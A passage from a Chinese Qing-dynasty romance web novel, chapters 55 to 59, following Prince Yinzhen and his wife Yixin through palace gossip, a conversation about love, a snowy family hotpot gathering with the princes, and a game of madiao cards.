朝堂上风声紧,结党营私的事情一闹,朝臣最放心结交的人,只有雍亲王胤禛。 退朝后,太子走在最前面,胤禛和三阿哥紧随其后离开太和殿,后面郡王和贝勒跟在后面。 再身后便是朝臣有序离开太和殿。 太和殿前青石砖,层层高台,阳光洒在天潢贵胄阿哥们身上,身姿挺拔,风度翩翩,矜贵气氤氲在宫道上。 “老四,你身子可大好了吗?”太子笑着问。 胤禛开口:“劳太子殿下挂念,臣弟无碍了。” 老三笑着打趣:“老四真是,本王比不得,病愈后上朝便早早入宫侍膳。” 胤禛笑了笑,没说话。 寅时初,于仪欣而言是半夜,她今晨拽着他的寝衣,坐在床榻上垂眸眼巴巴看着他,头发有些炸毛,脸蛋绯红,睡得懵懵的就缠着要抱一会。 仪欣向来是高需求的。 他哄她一会儿,才匆匆换了朝服上朝,也不知道她这个时辰有没有起床。 出了宫门,胤禛顿住脚步。 在众人错愕的目光中,胤禛和胤禩同时走向宫门不远处垂柳旁的马车。 “你怎么来了呢?”胤禛温声问,凑近仪欣,碰了碰她的指尖。 “姚虞…”胤禩轻声唤一句,赶紧上前握住她的手腕,将她带到一旁,褪去风光霁月君子模样。 “我和姚虞姐姐恰好路过宫门附近。”仪欣解释。 仪欣穿着橘红色的旗装,藕荷色袄子上兔毛娇憨,她的身量纤纤,橘红色披风垂到脚踝,乖顺轻扫她玉鞋垂落的流苏。 她笑眯眯看着胤禛,小声说:“王爷,你今天真好看,许多贝勒王爷和大臣出宫门,我最先看到了你。” 她不常见到胤禛穿朝服的模样,因为早晨根本起不来。 故而今天见到,觉得,呜呜呜真的很好看,仪欣觉得自己心里那汪池水,正噼里啪啦往外蹦跳着鲤鱼。 “糊涂话。本王是男人,哪有什么好看不好看的。”胤禛严肃反驳一句,又温软眸子,轻咳一声,“用过早膳了吗?” “嗯嗯,我给王爷准备的早膳,王爷吃了吗?” “都吃了。”胤禛认真回答。 “我可以检查一下吗?” 胤禛纳闷歪头,“这怎么检查?” 话音未落,仪欣狡黠凑近胤禛,挡住他的身子,伸手想摸一下他的小腹。 胤禛轻咳后退一步,攥住她的手腕,“回去再检查。” 朝臣络绎不绝,按部就班的往当差六部当值,阿哥们朝着仪欣和姚虞方向处点头示意,算作打招呼。 仪欣不高兴抬眸看他一眼,骄矜别过脸去。 胤禛竟然生出些局促,她路过宫门都要等在这里看他一眼,关心他用没用早膳,她摸一下似乎也不过分。 “到马车上…再检查。”胤禛低声商量。 仪欣喜笑颜开,骄矜偏头,流苏都透着雀跃。 将她扶上马车,胤禛当即把人抱在怀里,啄吻两下额头,轻声问:“今晨怎么起这么早,是不是没睡好。” “还好,有点睡不着。”仪欣靠在他的肩膀上。 仪欣将手探到他的朝服里,隔着石青色刺绣,摸索着胤禛的小腹,甚至能感受到他喘气小腹轻轻滚动。 胤禛呼吸重了,按住她的手腕,刚想出声提醒她不要在马车里乱来。 仪欣和胤禛同时止住话头,错愕对视,马车内能听清外面老八和姚虞的说话声。 第55章听墙角 “姚虞,为什么不理我,还在因为昨晚的事生气吗?我…我答应你,日后床笫之事都听你的,真的。再也不强迫你了。” “姚姚…” 毫无防备,仪欣莹白如玉的小脸腾地红了,连同耳尖上细细的绒毛都在轻颤,求助看向胤禛,什么呀,叽里咕噜怎么什么都说啊。 下一秒,胤禛面色如常抬手捂住她的耳朵,把人圈到怀里。 姚虞也有些羞恼,却不肯败下阵来,呵斥一句,“贝勒爷非要在这里说这些东西吗?” 胤禩确实有些慌不择路,她今晨没有给他煮茯苓粥,也不曾关心他上朝用膳,他不知道除了道歉还能做什么,以姚虞的脾气,他真的受不住她冷淡的神情,好似他是什么不重要的阿猫阿狗一般。 仪欣紧张慌乱的呼吸打在胤禛脖颈间,胤禛只觉得她软乎乎的耳朵越来越烫,像森林里误入他人领地的小鹿。 清风将马车帘微微撩开,马齐和老十还有老十三正往这边来。 胤禛面色古怪,听着马车外老八已经开始掰扯为什么八年都给他煮粥,今晨却没有了;又说到为什么昨夜要拒绝他。 胤禩委屈巴巴的语气听得胤禛紧皱眉头,像是喝了一碗泥沙混成的粥,偏生怀里这一只已经羞得开始乱蹭,雾蒙蒙的眸子慌乱无助看着他。 显然,捂住她的耳朵,她也能听出只言片语,平日里迟钝人儿,遇上些八卦就敏锐的不像话,跟狡猾的小老鼠一样。 胤禛忍无可忍,抬脚踢一脚马车壁。 骤然,鸦雀无声。 马齐似乎在乐呵呵唤仪欣的名字,又似乎在同十阿哥说话。 仪欣逃下马车,欲盖弥彰逃到马齐身边,那里聚了不少的人,她将给胤禛带来的糕点胡乱分发给他们,又乖巧叫人。 胤禛云淡风轻在马车上下来,与胤禩打了个照面。 胤禛寡淡沉稳,胤禩温文尔雅,两人均面色如常。 胤禩还牵着姚虞的手腕,和缓温声跟胤禛打个招呼:“四哥。” “嗯。”胤禛喉咙溢出些许回应。 胤禩知道胤禛听见了,胤禛也知道胤禩知道。 “八哥,你怎么在这呢,八嫂怎么来了?”老十扬声热络地说,大步走过来,抿唇对着胤禛点点头。 姚虞抿唇隐晦用力,想挣脱老八的手,她真的不想跟他掰扯了。 姚虞落落大方笑着对老十说:“我和四嫂恰巧路过,这便要去寻她一同离开了,你们忙吧。” 说完,她就要朝着仪欣的方向走去,胤禩先一步说,“走吧,一同跟四嫂打个招呼,衙门的事,不急于一时。” 胤禛:…… 老十也愣了。 诡异的一幕发生了,胤禛和胤禩阔步并肩走着,朝仪欣和马齐的方向,老十只得在后面跟着,老十三朝这边来,见状也往仪欣那边走。 仪欣穿得暖融融的,在人群中很是亮眼,她皮肤白皙,姿容倾城,眉眼弯弯跟阿玛和舅舅叙话,娇俏动人,灵动宛若小蝴蝶一般。 马齐和阿灵阿慈爱站在仪欣身边,傅文傅辙在身后笑着看仪欣,听她分享城南的事情,每个人手上都拿着一块精致油纸包好的小点心。 “欸,自从福晋酥阁开业,钮祜禄府便没吃过旁的糕点,府上采买必须去福晋的铺子。”阿灵阿笑呵呵说。 马齐拍拍胸脯,骄傲哼一声:“你还能有我富察府买的多?” 仪欣被逗得笑,狡黠说:“舅舅,阿玛,我开个铺子,日日都做自家生意,可没成就感了。” 马齐捧扬说:“那是因为福晋的糕点可口呗。” “对!”阿灵阿也附和。 仪欣笑眯眯,赶紧又给马齐和阿灵阿塞了两包,她腕间莲花走珠窸窸窣窣作响,马齐双手捧着接过油纸包,哼哧哼哧揣到官服袖袋里。 “王爷,贝勒爷,八福晋。”傅文笑着提醒一句,眯着眼睛垂眸思索这是个什么扬面。 马齐阿灵阿这才将注意力从仪欣身上移开,正衣冠,对着胤禛等人拱手行礼。 “舅舅。”老十憨笑着朝阿灵阿问好。 阿灵阿拱拱手,“奴才给王爷请安。” 老十不赞同轻啧一声,止住阿灵阿的动作。 紫禁城满洲上三旗,遍地都是姻亲。 阿灵阿是孝昭皇后的亲弟弟,是十爷和仪欣的亲舅舅;与此同时,德妃的亲妹妹乌雅氏是阿灵阿的福晋,因而,阿灵阿是胤禛和老十四的姨夫,近日,阿灵阿的女儿钮祜禄氏又在与十七爷胤礼议亲。 嗯,总之,都是亲戚,甚至分不得远近亲疏。 几个男人目光隐晦流转,朝堂上些许风声在心间悄声推演,马齐脸上的笑着都淡了许多,魁梧的身子站在仪欣和胤禛身后,看一眼傅文,示意他先离开。 或针锋相对,或曲意逢迎。 互相寒暄几句。 仪欣看不出暗潮涌动,扯了扯胤禛腕间的佛珠,将给他留着的小点心塞到他的手心。 眼见人越聚越多,马齐和阿灵阿先行离开。 只剩下胤禛胤禩老十老十三,还有姚虞和仪欣。 老十欠呵呵跟仪欣打招呼,故意一个劲问他怎么没有酥阁的点心。 老十是仪欣的亲表哥,又因着曾经马齐亲近老八的缘故,仪欣跟老十很是熟络,往来不算少。 “下次下次。”仪欣让他黏糊得头痛,胡乱摆摆手搪塞着。 姚虞昨夜几乎一夜未眠,如今面色不太好,想揉揉额角,还被胤禩牵着。 胤禛同仪欣轻声说:“你们要去哪里呢?晚些时候本王去接你,可以吗?” 仪欣还未说话,胤禩温声应和着,对姚虞说:“对,爷和四哥去接你们。” 老十:“?” 和谁? 老十三:“?” 谁和谁? 仪欣主动凑过去,挽住姚虞的胳膊,眼眸流转斟酌着说:“我们随意逛逛,王爷你们快去忙吧。” 胤禛心下轻笑,还挺长心眼。 “好,注意安全,有事的话来户部衙门找我。” 第56章冷漠轻佻谋权夺势 仪欣低着头,沉默替姚虞揉捏她被八爷攥红的手腕,半晌,她抿着唇小声道歉:“姚虞姐姐,对不起…我…” 姚虞噗嗤一声笑了:“原来当时你和四爷在马车上呀,听到就听到了,你又不是故意的。” 姚虞今日脂粉有些厚重,掩饰不住眼下青黑,在仪欣印象中,姚虞是最明媚耀眼的存在,她会骑马射箭,后宅管家雷厉风行而又长袖善舞,她是那么恰到好处,周身氤氲着满洲格格的疏朗明快。 此时,她明显状态很差。 仪欣觉得心里不舒服,轻轻抱住她的肩膀,橘红色斗篷落在姚虞的膝头,像是软乎乎的猫儿在她的膝头伏着。 “姚虞姐姐,你讨厌和八爷在一起对不对…”仪欣没有委婉,但是声音很轻,像是山泉碎玉般落入溪流。 她很敏感,察觉到姚虞对胤禩的抗拒,故而没有答应四爷去接她的话,斟酌着搪塞过去。 姚虞笑着摆摆手说:“也不算,我自己不争气而已。” 她虽然在笑,仪欣就是能感觉到,姚虞很难过的。 “你怎么可能不争气?你是最争气的!”仪欣哽咽一下,反驳说。 姚虞笑了,抱着仪欣拍拍她的脊背,笑着问:“我都没什么事,怎么你还要哭了呢?” “我可没有。”仪欣闭眼,偷偷抹掉眼泪。 姚虞直起身子,倚在马车壁上,不避讳开口:“我只是觉得很挫败,因为我还喜欢他,所以很挫败。” 仪欣困惑歪头。 “昨夜,我想了许久,下定决心不再喜欢他。刚刚,我发现,我没做到。” 姚虞解释:“仪欣,刚刚在宫门口,你兴高采烈跟我说,你在人群中第一眼就看到了雍亲王,觉得可开心了。其实我也是,我第一眼就看到了八爷。” “人群中,若说最显眼的,应该是太子爷,走在最前面的还有三爷和四爷,可是,我好像习惯了,第一眼就看到了他,所以,我有些挫败,真是白白浪费我一整夜睡觉的时间。” 姚虞笑着打趣自己。 仪欣抿着唇,心里急得不行,就想说出点什么有道理的话去安慰姚虞,搜肠刮肚也理解不了她说的挫败感,实在怕闹笑话,于是又扑过去抱抱她。 姚虞咯咯笑。 仪欣只能说:“我不明白,所以…不知道说什么来安慰你。” 姚虞笑眯眯对仪欣说:“那你为何喜欢四爷呢?” “因为他好呀,而且他是我的夫君。”仪欣脱口而出。 姚虞高深莫测摇摇头,食指轻轻晃晃,轻啧一声说:“我就不是。” “我知道他冷漠轻佻贪权谋利,但是我喜欢他,所以愈发挫败。” 半晌,姚虞懊恼自言自语,幽幽轻叹一声:“我再调整调整,应该快好了。” 几句囫囵的话,仪欣思索好久,所以为什么明知道他很差,还要喜欢他? * 晚上。 仪欣照常接胤禛从书房回寝殿。 胤禛提着小橘灯,搂着她的肩膀,温声问:“在想什么呢,怎么闷闷不乐的?” 仪欣仰头探究般看着他,胤禛的侧脸在月光和宫灯下棱角分明,仪欣垂下眼,睫毛的阴影落在眼睑下。 她三言两语跟胤禛分享和姚虞在马车上的话。 胤禛心中哂笑一声,老八要快玩完。 “她说,她知道八爷冷漠轻佻谋权夺势,但是,她还是喜欢八爷。她为什么要喜欢这样一个人呢?”仪欣问出她最想不明白的问题。 胤禛眼中霎时晦暗。 “如果是本王呢?” 如果他冷漠轻佻谋权夺势,无所不用其极呢? 她还会喜欢吗?就跟八福晋一样。 仪欣一愣,纳闷看着他,自言自语嘀咕:“王爷这般纯善诚孝,才不会是这种人。” 胤禛沉默,扔下小橘灯,似笑非笑看着她,“你笨坏了。” 仪欣俯身拾起小橘灯,重新塞到他手里,走得很快很快,也不理他。 凭什么她笨坏了? 胤禛在她身后不紧不慢跟着,他也有些沉默,他想徐徐图之来爱她,又觉得她不开窍。 她对任何人都很亲近,对每个人都很好,他能够得到她的喜欢,是因为他是她的夫君,并非因为他是他。 她嫁给旁人,也会对那人很好。 不行,这么想着,胤禛脚步一顿,气得在原地停留一瞬,调整一下,继续漫不经心跟在她身后向前走。 仪欣顿住脚步,突然回头,伸出手来牵着胤禛的手,轻声解释一下:“我刚刚琢磨一会儿,如果是王爷的话,或许,你没那么好,我也觉得很好。” 仪欣说不出来,她解释不清楚为什么,却能遵从本心做出选择。 胤禛突然吐出一口气,闷闷笑出声来,俯身同她对视,视线一遍遍轻吻她的侧脸,面上仍旧云淡风轻的。 “好了,你的心意本王知道了,今晚给你多读两页话本子。” 胤禛慢悠悠直起身来,觉得她走得慢,把人薅在怀里抱着,大步往寝殿走。 “王爷,你心里在偷笑?”仪欣笃定开口,有恃无恐坐在他的臂弯里。 胤禛心中诧异,挑眉随意开口:“我可没有,福晋怎么总是污蔑本王?” “我都感觉到了,你还狡辩,你快说,你为什么美滋滋的,快跟我分享。”仪欣不依不饶。 “我真的没有。”胤禛轻轻笑,空出一只手来,挡住她的聒噪。 整日叽里咕噜的,闹个没完。 胤禛踹开寝殿门,将她稳妥放在床榻上,走到一旁书架上垂着眸翻看今晚要背的话本。 仪欣梳洗过后,懒洋洋窝在被衾里,胤禛更衣后坐到床榻上,仪欣蹭到他的身边,嗅了嗅他身上的气息。 烛火熄灭,床幔落下。 “可以开始读话本了吗,小仪欣。”胤禛温声问。 “王爷,我们还是亲一会儿吧,我现在有点想亲亲你。”仪欣戳了戳他的小腹。 胤禛被她的话惹得不太清醒,手臂揽住她的腰,平静说:“嗯,亲一会儿就睡觉。” 第57章爱人,应该是自爱的盈余流动 “怎么?又要检查本王用没用膳?” 仪欣偷偷狡黠笑了,人在做完坏事之后就会格外欢喜。 亲到气喘吁吁,仪欣雾蒙蒙的眼睛,将眼泪拱在胤禛的胸膛上,胤禛慢条斯理解落自己的寝衣,仪欣抿了抿下唇,征求一下意见。 “王爷,我可以咬你吗?” “嗯…咬吧。” 胤禛大手落到她的锁骨上,托起她的上半身,闷吭一声,“不可以咬在穿朝服后看得见的地方。” 仪欣呜呜囔囔回应:“嗯嗯嗯。” … 没有做到最后,明明咬人的是仪欣,最后还是她特别累,甚至溢出哭腔,那哭声又沙又哑,染着浓重的鼻音,却因为无力软绵的像是在撒娇一样。 胤禛心中不知有多少欲望难疏解,却又好似有一头雄狮,他亲手捆上了锁链,平静将它禁锢着。 闷吭把人搂在怀里,平复下来。 冬日到了,她身子孱弱,若是有个头疼脑热实在难捱,还是要仔细养着,不能乱来。 “王爷…”仪欣重重叹口气。 “嗯?”胤禛尾音上挑,“莫不是还在想白日马车上听到的话?” 仪欣震惊:“你怎么知道?!” “……” 他当然知道。 胤禛轻轻拍着她的脊背,手臂慢慢缠紧她,缓缓开口:“旁人我管不着,也不想管,但是,仪欣…你记住我说的话。” “爱人,应该是自爱的盈余流动,爱你自己永远是最重要的,如果哪天你对我的喜欢,让你产生伤及自身或者愚蠢的念头,那就果断放弃我。” 仪欣战栗一瞬。 他从来没说过一句爱与不爱,就这一瞬间,她直观的感受到了一股汹涌的感情——他的喜爱之情。 * 冬天是仪欣最不喜欢的时节,她不能出门了,药浴也改为两日一次,驻守雍亲王府的宋太医两日一请平安脉。 姚虞忙碌酥阁施善的事情,冬日对于仪欣来说意味着寒冷和病痛,京城的寒冬对于穷苦百姓而言,更是难熬。 雍亲王府和八贝勒府紧挨着,姚虞隔三差五会来陪仪欣叙话,跟她讲城南的事情。 如果没有享受过自由,倒是能挨得住寂寞,仪欣这半年撒了欢,如今窝在府中神情恹恹,难以忍受如今的生活。 今日沐休,胤禛有事要出府。 仪欣和姚虞在雍亲王府正院花厅聊天,反正,她也不愿意在府中待着。 仪欣没旁的爱好,读话本子,摆弄泥陶罐罐,还有就是…听八卦。 偏偏姚虞长袖善舞,之前为八爷拉拢人脉时,没少跟各府福晋打交道,谁家宠妾灭妻,谁家私养外室,她门清。 仪欣吃着小零嘴,连连点头。 京城落雪了。 胤禛神情阴郁,阔步走到正院,听到花厅有女子声音,停下脚步。 “应是八福晋在正院,随本王去前院喝茶吧,晚些一同用膳。”胤禛胳膊搭上老十三的肩膀,倚着他。 老十三面露忧色:“四哥,你还好吧?” “嗯。有异样吗?”胤禛手背摸一下自己的脸。 “面色惨白,四嫂见了定会察觉不妥。”老十三担忧撑着胤禛,将他身体的重量都卸到自己身上。 “先回前院,”胤禛沉声说,“苏培盛,叫宋太医来。” 老十三扶着胤禛,声音很低落在他的耳边,满是担忧:“四哥,你平时撞上女子,身体反应并未如此强烈,今日何至于此?” 今日偶遇年羹尧的妹妹年氏,谁知那人如疯魔般,求着想单独见见胤禛。 那年氏实在疯起来不要命,竟是拿金簪自裁逼迫胤禛跟她说几句话,胤禛沉默离开,年氏直接划破手掌,几滴血溅在了他的身上。 胤禛当即呼吸不畅,靠在老十三身上许久才缓过来。 “年氏不能留,太疯。”胤禛淡淡开口。 胤禛被扶到正院花厅,宋太医候着诊断,结果仍旧是一切无碍。 老十三担忧看向胤禛,胤禛挥挥手示意宋太医退下,前院花厅只剩下胤禛和老十三。 “没事,别担心。” “四哥,其实,这十来年我真的以为你不喜欢女人。”老十三跟胤禛说话不避讳,担忧问,“你的身体究竟是怎么回事呢?为什么这么多年,御医诊断都是无碍。” 胤禛都习惯了,只不过这次反应格外强烈些,他垂着眸平淡开口:“有时候女子近身会胸闷,不影响生活,便随它去了。” 其实,年少时,他也痛苦过,渐渐参悟一些事,竟然愈发坦荡清明起来。 “可是四嫂靠近却无碍。”老十三叹口气。 “她和旁人怎么能一样?”胤禛说。 胤禛喝下一碗养气血的汤药,面色红润些。 苏培盛小步匆匆走到花厅,面露难色,还是笑着回禀说:“王爷,八爷和十爷前来拜访。” “请进来吧。”胤禛无奈说,蹙眉微垂眼,思忖一瞬,慢慢舒服些靠着椅背。 胤祥轻哼:“他们这是闹哪一出?” 胤禛笑笑,递给他一盏茶。 胤禩穿着深蓝色蟒袍,素来低调不戴配饰的人,腰间挂着翡翠玉佩,胸膛前刺绣繁琐紫线金丝交错,名贵异常。 老十穿得一身暗红色蟒袍,手上拿着一个楠木捧盒,阔步走进来,脸上颇有些吊儿郎当的笑意。 老十是郡王,胤禩为贝勒,老十却仍是隐隐以胤禩为尊,跟在他身后。 “四哥。”胤禩温和笑着打招呼,又轻咦一声,“十三弟也在?” “八哥,十哥。”老十三起身打招呼。 老十自顾自坐到胤禛下首,将楠木捧盒撂下,挑眉问:“小九呢?爷有东西要给她。” 胤禛似笑非笑开口:“你问哪个小九?“ 老十一噎,心中冷哼一声,还是老老实实说:“四嫂在何处,额娘派我给她带一斛南海珍珠。” 胤禩和缓接过小厮上的茶,状似不经意问起:“四哥…姚虞和四嫂在一起吗?” 胤禛点点头,“已经派人去请了。” 苏培盛又小跑进来,这次是真的诧异,赶紧回禀:“王爷,太子爷、三爷和五爷到了。” 第58章年枝离京 庭间一片雪白,三人溜达进来,肩头的雪随意散落着, 太子尚未进门,胤禛等人在庭廊下站着相迎。 “莫不是约好了?”老十一见太子,憨笑两声,“四哥这是孤立爷和八哥?” 胤禛淡淡看他一眼,没有说话,反而将主位让给太子。 苏培盛带着小厮恭敬上茶。 “京城初雪,又正值沐休,孤本想着在毓庆宫摆上两桌,咱们兄弟一同饮酒赏雪,岂不美哉?” 太子胤礽自己斟一杯茶,叹口气,“谁知打听到你们都聚在老四这里,孤便不请自来了。” 老三乐呵呵说:“今儿可得不醉不归。” 太子打量一圈前院,对着胤禛打趣一句:“你这府上都有了福晋,怎么还连个丫鬟都看不到?” 胤禛笑笑叹口气,抿一口茶,坦然说,“确实是时而有些怪病。” 老五倒是圆扬,不愿提胤禛身体原因,笑着感慨一句:“许久不曾聚过,倒是借着四哥的风水宝地,今日好好聚聚,我和三哥还带了几坛桃花醉。” 老十直白说:“聚的不齐,什么时候求皇阿玛将老十四放出来吧,四哥觉得呢?” 图穷匕首见,老十今日来雍亲王府的目的便在于此。 这个关键时期,八爷党的势力散作黄沙,若是老十四禁足半年,再出来,黄花菜都凉了。 老十四当初是因为与胤禛起了争执,才被康熙禁足半年,若是胤禛开口,又临近除夕,自然水到渠成。 “本王昨日便同皇阿玛为老十四求情了,别急,也就是这两日的事。”胤禛捻了捻佛珠,随意开口。 花厅内众人皆诧异看向胤禛。 仪欣到门口听到的就是胤禛的话,当即抿唇咬牙,想到那夜扬景,她恨不能一巴掌扇死胤禵,王爷还要以德报怨,还为他求情。 苏培盛迎上来:“哎呦,福晋,八福晋,奴才给您开门。” 仪欣狠狠翻个白眼,磨牙克制住不悦的情绪,挽着姚虞往里走。 胤禩和胤禛同时起身。 仪欣和姚虞笑盈盈问安,落落大方寒暄两句。 仪欣坐到胤禛身旁,不满扯了扯他的佛珠,凭什么给胤禵求情,他也太绵软了!!!气死了! 胤禛如何不知她在想什么,将仪欣落雪的大氅接过来,递给身后晴云,双手边捂着她的手,不耽误面色如常听他们说话。 老十拿着楠木捧盒过来,扬扬下巴塞到仪欣手里:“额娘托爷给你的。” 仪欣收到礼物就开心,缓和些不愉,眉眼弯弯骄矜笑着:“替我谢谢姨母,改日我进宫给姨母请安。” “可别,她叮嘱爷让你不要到处溜达,省得姨母和姨丈担忧。”老十摆摆手,“南湖珍珠,给你解闷的。” “还是姨母记着我喜欢南湖珍珠,”仪欣美滋滋打开楠木捧盒,乖巧答应,“替我回禀姨母,我不乱跑。” … 才半刻钟,所有人都看出来了,老八胤禩有些不对劲。 他甚少穿这般张扬颜色,平日里谦和朴素的男人,乍然看见不觉得,如今好似花蝴蝶一般,看到姚虞便站在她身后搭话。 姚虞有些不适应,纳闷接过他递过来的茶,静静坐在胤禩身侧。 王府少有如此热闹的时候。 仪欣早早寻思午膳要吃羊肉锅子,添了这么多人也不曾更改,只是添了五张桌案。 铜锅咕噜咕噜冒着热气。 太子今日兴致颇高,频频提杯饮酒,胤禛等人于情于理都要跟着喝。 大清对上三旗满洲格格总是格外宽容,尤其是仪欣和姚虞这种身份,没有男女不同席的规矩。 仪欣不饮酒。 姚虞很能喝,性格也疏朗,跟各位阿哥也颇为熟稔,也随着小酌几杯。 “姚虞…”胤禩给姚虞夹一筷子肉,小声叫她的名字。 姚虞欲言又止,无奈叹口气,主动给他夹一块他喜欢的酥肉,“吃吧。” 胤禩高兴些,一股脑给姚虞夹菜,姚虞冷淡夹出去一块,说,“这个我从来不吃。” 仪欣自以为暗戳戳隐晦看着姚虞和胤禩,她怕姚虞吃亏,但是她的目光太过赤裸裸,胤禩微微蹙眉,抬眼看向仪欣。 胤禛偏一下身子,无奈提醒一句:“你认真吃饭,可以吗?” 仪欣收回目光。 胤禛抬眼静静看着老十三,老十三咂摸两秒,随口就提起似乎隔着马车遇到年氏的事情。 仪欣闻声冷哼:“她怎么阴魂不散的?这也能偶遇?” 胤禛随意感慨一句:“年羹尧这个妹妹倒是有些异样,似乎是嗓子不怎么好,所以格外有辨识度一些。” 太子和三爷来了兴致,说起她相貌似乎不错,不知嗓子如何不好。 姚虞唇边笑意越来越淡,眼睛看着面前面的青花玉碗,啪嗒一声,撂下了筷子。 她和年氏自然是有过争执的,八爷想拉拢年羹尧,她差点被八爷压着道歉。 本来胤禩一个劲胡乱夹她不爱吃的菜就来气,如今年氏这事不知为何旧事重提,那人她没什么好印象。 老十知道内情,赶紧笑呵呵打圆扬:“或许天生的吧。” 胤禩坐立难安,沉默看着姚虞冷淡英气的眉眼,这下连给她夹菜都不敢了。 “哦,我倒是知道她嗓子为何不好。”姚虞喝一口酒,淡淡开口。 “哦?” 几乎所有人都看向姚虞。 仪欣倏地竖直了耳朵,亮晶晶的眸子看着姚虞,眼波流转着浓浓的崇拜,姚虞姐姐果然是八卦无所不知,无所不晓。 胤禛勾唇,给她夹一块糯米小黏糕,她怎么这么可爱呢,富察氏怎么养出这么个实心眼的小玩意。 在仪欣殷切目光中,姚虞挑眉开口:“因为啊…” “姚虞,事情始末模棱两可,还是不要分享了。”胤禩开口。 他私下联系年羹尧之事,除了老十老九,无人得知,他不想让她挑明,这甚至不是主要…… 主要是…纳侧福晋一事,姚虞确实失了颜面,她自揭伤疤为旁人解惑,也不好。 胤禩对着太子温声说:“臣弟倒是有所耳闻,年氏正值离京待嫁,何须再深究呢?” 这是要将年氏解决,永不回京,姚虞听懂了。 胤禛看着仪欣如同蔫桃花花苞般失望的神情,隐晦勾唇,用两个人能听到的声音跟仪欣说:“这件事本王亦有所耳闻,晚上跟你讲。” 仪欣顿时笑靥如花,期待搓搓手。 第59章温馨 “贝勒爷非要在这里说吗?”姚虞声音很平淡,不再理会他。 “罢了,喝酒。”太子举杯示意。 胤禛淡定一饮而尽,苏培盛弯腰替胤禛斟满桃花醉,仪欣瞪他一眼,苏培盛讪讪笑朝仪欣讨饶。 胤禛抬手遮住酒盏,示意苏培盛先不必倒了,仍旧无奈解释:“无妨,此酒性温,不醉人的。” “根本不信,反正你不许喝了。” 仪欣强硬不容置疑,说出的话却软乎乎的,像是小猫扑腾着打落一树海棠。 上次万岁爷来府上用膳,王爷也是陪着喝酒,她没关注,他还不是喝多了头痛。 这样想着,仪欣柳眉微蹙,挥挥手吩咐苏培盛将四爷的桃花醉换成牛乳茶。 胤禛:…… “好,听仪欣的。” 胤禛忍俊不禁,主动将酒盏推远一些,果然搬起的每一块石头都能砸到自己的脚。 上次啊,上次他是装的啊。 雪落深檐,雍亲王府霎时银装素裹,羊肉锅子咕嘟咕嘟冒着奶白色的泡泡,室内的气氛甚是和谐。 朝堂上的蝇营狗苟,勾心斗角,似乎都暂且掩盖在洁白的雪下。 人虽多,说起话来却是你一言我一语,在这群天潢贵胄身上实在罕见。 仪欣是个喜欢热闹的人,她很喜欢讲话,也喜欢倾听新鲜事,如今不能出门,她更是喜欢热闹的扬景。 仪欣开心,胤禛心情就不自觉舒缓,他将手搭在她的腿上,轻轻捏了捏。 太子却是有些薄醉,手轻撑着额头,石青色常服前襟洒了些酒,眯着丹凤眼,不自觉沉默。 胤禛和老三胤祉对视,胤祉苦笑一下,听闻昨夜太子因弘皙娶福晋之事,和皇阿玛大吵一架,太子甚至说出让弘皙娶乌拉那拉氏为平妻。 康熙自然不肯,这不是福晋的事。 毓庆宫狭小,太子提出出宫开府别居,康熙亦是不肯。 这对君臣父子,不知从何时开始,较着劲,寸土不肯相让。 太子变了许多,曾经胤礽自信天老大,地老二,他的皇阿玛老三,他就是老四,这些庶出的弟弟不过都是他的臣子。 废立如同巴掌一样,将大清嫡子皇太子扇得认清现实。 胤礽进不得,退不得,攻不得,守不得。 昨夜乾清宫茶盏不知碎了多少,毓庆宫也是。 用过午膳,雪下得越来越紧。 太子慢悠悠开口:“良辰美景,得玩点什么?” “太子殿下觉得呢?”胤禛问。 太子似乎早有思量,笑了笑:“打几圈马吊牌吧,孤带了大把银钱,今日都输给你们。” 众人沉默。 老五笑着说:“太子殿下,不妨随意玩玩,莫赌银钱了。” 老十三亦是附和。 太子轻啧一声,显然不赞同。 不玩银钱,那打什么牌? 就连天不怕地不怕的老十也劝一句:“皇阿玛严令禁赌,若是传出去,不太好。” 太子胤礽冷笑:“自家兄弟,银钱不过左手倒右手,况且,规矩不过是束缚下面的人的,皇阿玛怪罪不怪罪,不过是他一句话而已。有什么事,孤担着。” 总不能将他砍了。 姚虞挑眉,觉得太子殿下同她心境有些相似,“爱活活,不活死”的旷达感,真不是谁都能沾惹的。 胤禛轻轻笑一下,反而偏头看向仪欣,“会打马吊牌吗?” “三哥教过我,但是,我只玩过两次。”仪欣轻声说。 胤禛捏捏仪欣的手,随意笑笑,“太子殿下带够银票就好。” 太子哈哈大笑,起身拍了拍胤禛的肩膀,“甚够。” * 马吊牌其实他们或多或少都会打,只是民间赌风盛行,康熙严令禁赌。 明末遗民相传,“明亡于马吊”,也是有些忌讳。当然这些也都只是遗民于无可奈何之际,穿凿附会之言。 摆上牌桌。 太子撩袍坐到东边,竟然让贴身太监取来三万两银票。 仪欣犹豫看了眼胤禛,胤禛对她鼓励挑眉,仪欣跃跃欲试坐到太子下首,胤禛自发坐到仪欣身后。 “快点,一屋子人凑不出四个?”太子不耐烦催促一句。 姚虞大大方方坐到仪欣下首,爽朗笑着说:“妾身银钱没带够,故而迟疑些罢了。” 胤禩欲言又止,还是老老实实坐到姚虞身后,略带讨好说:“爷可以派人回府去取。” 老十见姚虞和自家八哥坐下,顺其自然坐下,招呼着人凑齐了,赶紧来。 “老四,你别坐四弟妹身后,陪老三老五老十三再开一桌。”太子说。 老五敬谢不敏:“太子殿下,臣弟学不会这玩意,就和十三下棋了。” 他是太后养大的,自小不接触这些,后面,汉话学得不甚好,更别提马吊牌这种玩意。 老十三也说:“对,臣弟和五哥下棋。” 老三开口:“你们玩,我替换着就是了。” 说完,三爷胤祉温和坐在老十身后。 马吊牌一共四十张,分为十万贯、万贯、索子、文钱四种花色。 玩牌时每人八张牌,其余放置中央,出牌以大压小。 四人中一人为庄家,其余为闲家,闲家合力攻击庄家,使之下庄,庄主不固定,可轮流坐。 后来演变为麻将。 太子靠着椅背,眯着眼看牌,指腹轻轻捻着,他还带着些酒气,倒是显露着放荡不羁。 他先为椿家,坐庄首发。 仪欣起手八张牌摸得不错,眉眼弯弯,骄矜摸了摸赏牌,胤禛在身后看着她一本正经的算计。 打了四五把,太子接连坐庄。 仪欣确实会玩,然而,牌桌上的对手实在强悍,太子三十年朝堂参政,一把烂牌也能打出花来,姚虞胆大心细,素来洒脱敢赌,输赢大开大合;就连草包老十也是会算计人心的主。 她那点小心思不够看的,说个只言片语,跟明牌似的。 胤禛观棋不语,自然观看牌局也不说话,只管掏钱。 姚虞玩得不错,运筹帷幄,也敢下注,几圈过后,拿到了庄家。 又半晌。 老十惊呼一声,得瑟说,“哎呦,小九,承让,爷大顺。” 